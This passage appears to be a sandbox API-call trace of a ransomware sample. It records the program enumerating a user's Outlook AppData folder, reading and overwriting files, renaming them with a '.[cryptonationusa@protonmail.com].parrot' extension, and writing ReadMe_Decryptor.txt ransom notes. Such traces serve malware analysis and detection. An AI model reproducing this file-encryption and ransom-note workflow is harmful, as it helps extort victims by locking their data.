ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x94a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO1033.acl.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MSO103~1.PAR")) returned 1 [0054.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.665] lstrcmpW (lpString1="MSO1033.acl.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1ae8 [0054.665] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf6aa9a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf6aa9a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf6d0b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0054.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.665] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.665] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf6d0b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf6d0b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0054.665] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf6d0b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf6d0b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 0 [0054.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0054.665] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0054.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0054.665] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0054.665] lstrcmpW (lpString1="Outlook", lpString2=".") returned 1 [0054.665] lstrcmpW (lpString1="Outlook", lpString2="..") returned 1 [0054.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0054.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0054.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0054.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0054.665] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0054.788] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.788] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.789] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.789] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.789] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5de69980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5de69980, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5e0c9040, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.789] lstrcmpW (lpString1="Outlook.srs", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0054.911] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0xa00 [0054.912] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb18, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.912] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.912] ReadFile (in: hFile=0x318, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0054.913] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.913] ReadFile (in: hFile=0x318, lpBuffer=0x3780040, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f4b4*=0xa00, lpOverlapped=0x0) returned 1 [0054.913] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0054.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.913] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0054.914] GetLastError () returned 0x0 [0054.914] SetLastError (dwErrCode=0x0) [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0054.914] GetLastError () returned 0x0 [0054.914] SetLastError (dwErrCode=0x0) [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.914] GetLastError () returned 0x0 [0054.914] SetLastError (dwErrCode=0x0) [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa10) returned 0x5edba0 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1433) returned 0x63e990 [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0054.914] GetLastError () returned 0x0 [0054.914] SetLastError (dwErrCode=0x0) [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0054.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0054.914] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0054.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0054.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0054.964] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0054.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0054.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c70 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x5fc6d0 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x63fdd0 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63fdd0 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0054.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0054.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0054.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0054.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0054.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0054.966] WriteFile (in: hFile=0x318, lpBuffer=0x28d7a10*, nNumberOfBytesToWrite=0xb28, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x28d7a10*, lpNumberOfBytesWritten=0x18f4b4*=0xb28, lpOverlapped=0x0) returned 1 [0054.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0054.966] UnlockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.966] CloseHandle (hObject=0x318) returned 1 [0054.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0054.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1be0 [0054.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0054.967] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.srs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1be0 | out: hHeap=0x540000) returned 1 [0054.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0054.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0054.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0054.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0054.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0054.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0054.968] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0054.968] GetFileType (hFile=0x318) returned 0x1 [0054.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0054.979] lstrcmpW (lpString1="Outlook.xml", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0054.979] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x9a2 [0054.979] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaba, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.979] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.979] ReadFile (in: hFile=0x318, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0054.981] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.981] ReadFile (in: hFile=0x318, lpBuffer=0x3780040, nNumberOfBytesToRead=0x9a2, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f4b4*=0x9a2, lpOverlapped=0x0) returned 1 [0054.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0054.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0054.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0054.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0054.981] GetLastError () returned 0x0 [0054.981] SetLastError (dwErrCode=0x0) [0054.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9b0) returned 0x5edba0 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bbe8 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1373) returned 0x63e990 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.982] GetLastError () returned 0x0 [0054.982] SetLastError (dwErrCode=0x0) [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0054.982] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0054.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0054.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c70 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0054.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0054.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 